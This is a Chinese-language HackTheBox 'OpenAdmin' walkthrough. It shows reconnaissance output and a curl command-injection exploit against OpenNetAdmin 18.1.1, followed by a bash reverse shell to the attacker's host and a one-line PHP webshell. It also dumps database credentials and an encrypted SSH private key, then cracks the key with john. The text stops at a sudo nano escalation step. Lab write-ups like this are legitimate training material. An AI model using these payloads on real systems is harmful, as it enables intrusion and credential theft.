HackTheBox-OpenAdmin

信息收集

└─# nmap -sV 10.129.1.129   
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-15 00:14 EST
Nmap scan report for 10.129.1.129
Host is up (0.53s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.91 seconds

‍

访问80端口

显示的一个默认页面，展开目录扫描

└─# python3 dirsearch.py -u http://10.129.1.129/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11592

Output: /root/Downloads/dirsearch-master/reports/http_10.129.1.129/__22-12-15_00-22-26.txt

Target: http://10.129.1.129/

[00:22:26] Starting: 
[00:22:48] 403 -  277B  - /.ht_wsr.txt                                    
[00:22:48] 403 -  277B  - /.htaccess.bak1                                 
[00:22:49] 403 -  277B  - /.htaccess.sample
[00:22:49] 403 -  277B  - /.htaccessOLD
[00:22:49] 403 -  277B  - /.htaccess_sc
[00:22:49] 403 -  277B  - /.htaccess.orig
[00:22:49] 403 -  277B  - /.htaccessBAK
[00:22:49] 403 -  277B  - /.htaccessOLD2
[00:22:49] 403 -  277B  - /.htaccess.save
[00:22:49] 403 -  277B  - /.htaccess_orig                                 
[00:22:49] 403 -  277B  - /.htaccess_extra                                
[00:22:49] 403 -  277B  - /.html                                          
[00:22:49] 403 -  277B  - /.htm
[00:22:49] 403 -  277B  - /.htpasswd_test                                 
[00:22:49] 403 -  277B  - /.httr-oauth                                    
[00:22:49] 403 -  277B  - /.htpasswds                                     
[00:22:55] 403 -  277B  - /.php                                           
[00:25:29] 301 -  312B  - /music  ->  http://10.129.1.129/music/          
[00:25:34] 301 -  310B  - /ona  ->  http://10.129.1.129/ona/              
[00:25:59] 403 -  277B  - /server-status                                  
[00:26:00] 403 -  277B  - /server-status/

‍
获得了两个地址。
访问ona如下：

opennetadmin V18.1.1
通过谷歌搜索到了对应的exp
https://www.exploit-db.com/exploits/47691
‍

利用

https://github.com/amriunix/ona-rce
为了熟悉还是手动来一遍的好。
‍
按照POC：

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;id&xajaxargs[]=ping"  http://10.129.1.129/ona/

‍
命令执行收到回显了，那可以考虑反弹一个shell回来了。

反弹shell

首先起一个nc的监听

nc -lnvp 8888

curl -s -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;bash -c 'bash -i >%26 /dev/tcp/10.10.16.4/8888 0>%261'&xajaxargs[]=ping"  http://10.129.1.129/ona/

找配置文件

我翻阅了config和config.php文件都没有发现，遍历到local文件夹是有了发现。

www-data@openadmin:/opt/ona/www$ cd local
cd local
www-data@openadmin:/opt/ona/www/local$ ls
ls
config
nmap_scans
plugins

 
www-data@openadmin:/opt/ona/www/local$ cd config
cd config
www-data@openadmin:/opt/ona/www/local/config$ ls
ls
database_settings.inc.php
motd.txt.example
run_installer

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

?>www-data@openadmin:/opt/ona/www/local/config$

‍
获得了mysql的账号密码，尝试登录SSH试一试。
'dblogin' => 'onasys', 'db_passwd' => 'n1nj4W4rri0R!',

很尴尬的密码错误了，也许是用户错误，回头检查一下这台机器的用户有哪些。
cat etc/passwd

看到有jimmy和joanna用户。
‍

SSH

──(root㉿kali)-[~/Desktop]
└─# ssh joanna@10.129.1.129
joanna@10.129.1.129's password: 
Permission denied, please try again.
joanna@10.129.1.129's password: 

                                                                           
┌──(root㉿kali)-[~/Desktop]
└─# ssh jimmy@10.129.1.129
jimmy@10.129.1.129's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 15 06:40:59 UTC 2022

  System load:  0.01              Processes:             175
  Usage of /:   30.9% of 7.81GB   Users logged in:       0
  Memory usage: 10%               IP address for ens160: 10.129.1.129
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.


Last login: Thu Jan  2 20:50:03 2020 from 10.10.14.3
jimmy@openadmin:~$

查看网络进程的时候发现本地有一个52846服务，可以通过SSH转发出来
SSH一共提供了 3 种端口转发，分别是本地转发（-L参数）、远程转发（-R参数）和动态转发（-D参数）。

本地转发
本地转发，顾名思义就是把本地主机端口通过待登录主机端口转发到远程主机端口上去。

本地转发通过参数 -L 指定，格式：-L [本地主机:]本地主机端口:远程网络主机:远程网络主机端口。加上ssh待登录主机，这里就有了三台主机。

举例：ssh -L 0.0.0.0:50000:host2:80 user@host1。这条命令将host2的80端口映射到本地的50000端口，前提是待登录主机host1上可以正常连接到host2的80端口。

‍
ssh -L 52846:127.0.0.1:52846 jimmy@10.129.1.129

└─# ssh -L 52846:127.0.0.1:52846  jimmy@10.129.1.129
jimmy@10.129.1.129's password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

System information as of Thu Dec 15 07:17:30 UTC 2022

System load:  0.0               Processes:             171
Usage of /:   30.9% of 7.81GB   Users logged in:       1
Memory usage: 10%               IP address for ens160: 10.129.1.129
Swap usage:   0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Dec 15 07:13:31 2022 from 10.10.16.4
jimmy@openadmin:~$

‍
成功获得了内部web系统，但是不知道密码，去看一下这个网站的路径
‍

第二个web

jimmy@openadmin:/var/www/internal$ ls
index.php  logout.php  main.php
jimmy@openadmin:/var/www/internal$ cat index.php
<?php
   ob_start();
   session_start();
?>

<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>

<html lang = "en">

   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">

      <style>
         body {
            padding-top: 40px;
            padding-bottom: 40px;
            background-color: #ADABAB;
         }

         .form-signin {
            max-width: 330px;
            padding: 15px;
            margin: 0 auto;
            color: #017572;
         }

         .form-signin .form-signin-heading,
         .form-signin .checkbox {
            margin-bottom: 10px;
         }

         .form-signin .checkbox {
            font-weight: normal;
         }

         .form-signin .form-control {
            position: relative;
            height: auto;
            -webkit-box-sizing: border-box;
            -moz-box-sizing: border-box;
            box-sizing: border-box;
            padding: 10px;
            font-size: 16px;
         }

         .form-signin .form-control:focus {
            z-index: 2;
         }

         .form-signin input[type="email"] {
            margin-bottom: -1px;
            border-bottom-right-radius: 0;
            border-bottom-left-radius: 0;
            border-color:#017572;
         }

         .form-signin input[type="password"] {
            margin-bottom: 10px;
            border-top-left-radius: 0;
            border-top-right-radius: 0;
            border-color:#017572;
         }

         h2{
            text-align: center;
            color: #017572;
         }
      </style>

   </head>
   <body>

      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">

         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>

      </div>

   </body>
</html>
jimmy@openadmin:/var/www/internal$

‍

if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {

这里硬编码写入了账号密码
这个密码解开了就可以登录该web系统，CMD5可以解开。

获得密码Revealed
看一下另外一个main.php

jimmy@openadmin:/var/www/internal$ cat main.php 
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

这个代码的意思是登录成功后展示/home/joanna的私钥给你。
~~那其实都可以不解密这个。~~
惨遭打脸

jimmy@openadmin://$ cat /home/joanna/.ssh/id_rsa
cat: /home/joanna/.ssh/id_rsa: Permission denied

原来我没有权限读。

jimmy@openadmin:/home$ ls -l
total 8
drwxr-x--- 5 jimmy  jimmy  4096 Nov 22  2019 jimmy
drwxr-x--- 5 joanna joanna 4096 Jul 27  2021 joanna

shell1

其实我还可以写一个webshell在根目录里面

jimmy@openadmin:/var/www/internal$ echo '<?php system($_GET["cmd"]); ?>'  
<?php system($_GET["cmd"]); ?>               
jimmy@openadmin:/var/www/internal$ echo '<?php system($_GET["cmd"]); ?>' > 1.php

然后再发起请求

root@kali# curl http://127.0.0.1:52846/0xdf.php?0xdf=id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)

groups=1001(joanna),1002(internal)
此时我已经是joanna的权限了
但是还要反弹个shell比较麻烦
‍

shell2 获得私钥

既然在内部可以访问，那直接从内部发起请求去访问main.php获得文件

immy@openadmin:/home$ curl 127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

‍

破解

使用john把密钥转换成john可以认识的密文

┌──(root㉿kali)-[~/Public]
└─# python3 /usr/share/john/ssh2john.py keys >hash1

‍

keys:$sshng$1$16$2AF25344B8391A25A9B318F3FD767D6D$1200$906d14608706c9ac6ea6342a692d9ed47a9b87044b94d72d5b61df25e68a5235991f8bac883f40b539c829550ea5937c69dfd2b4c589f8c910e4c9c030982541e51b4717013fafbe1e1db9d6331c83cca061cc7550c0f4dd98da46ec1c7f460e4a135b6f1f04bafaf66a08db17ecad8a60f25a1a095d4f94a530f9f0bf9222c6736a5f54f1ff93c6182af4ad8a407044eb16ae6cd2a10c92acffa6095441ed63215b6126ed62de25b2803233cc3ea533d56b72d15a71b291547983bf5bee5b0966710f2b4edf264f0909d6f4c0f9cb372f4bb323715d17d5ded5f83117233976199c6d86bfc28421e217ccd883e7f0eecbc6f227fdc8dff12ca87a61207803dd47ef1f2f6769773f9cb52ea7bb34f96019e00531fcc267255da737ca3af49c88f73ed5f44e2afda28287fc6926660b8fb0267557780e53b407255dcb44899115c568089254d40963c8511f3492efe938a620bde879c953e67cfb55dbbf347ddd677792544c3bb11eb0843928a34d53c3e94fed25bff744544a69bc80c4ffc87ffd4d5c3ef5fd01c8b4114cacde7681ea9556f22fc863d07a0f1e96e099e749416cca147add636eb24f5082f9224e2907e3464d71ae711cf8a3f21bd4476bf98c633ff1bbebffb42d24544298c918a7b14c501d2c43534b8428d34d500537f0197e75a4279bbe4e8d2acee3c1586a59b28671e406c0e178b4d29aaa7a478b0258bde6628a3de723520a66fb0b31f1ea5bf45b693f868d47c2d89692920e2898ccd89710c42227d31293d9dad740791453ec8ebfb26047ccca53e0a200e9112f345f5559f8ded2f193feedd8c1db6bd0fbfa5441aa773dd5c4a60defe92e1b7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

‍

┌──(root㉿kali)-[~/Public]
└─# john -w:/usr/share/wordlists/rockyou.txt hash1
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (keys)   
1g 0:00:00:06 DONE (2022-12-15 03:12) 0.1663g/s 1593Kp/s 1593Kc/s 1593KC/s bloodninjas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

‍
获得了joannaSSH的私钥文件密码，密码为bloodninjas
接下来生成一个私钥就可以了。
~~刚开始我以为破解出来的密码是SSH的密码，其实并不是~~
‍
刚开始死活登不上，报权限错误
后来发现是需要把权限更改为600

┌──(root㉿kali)-[~/Public]
└─# chmod 600 ./keys
                                                                           
┌──(root㉿kali)-[~/Public]
└─# ssh -i ./keys joanna@10.129.1.129
Enter passphrase for key './keys': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Dec 15 08:29:27 UTC 2022

  System load:  0.0               Processes:             176
  Usage of /:   31.0% of 7.81GB   Users logged in:       1
  Memory usage: 10%               IP address for ens160: 10.129.1.129
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$

‍

PWN USER

用joanna登录之后，user.txt就在本级目录。

‍

joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ cat user.txt
731593de8d01bc001daad37871e33483
joanna@openadmin:~$

‍

PWN ROOT

sudo看看权限
发现nano是所有人的权限

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET",
    env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

‍
进入这个nano终端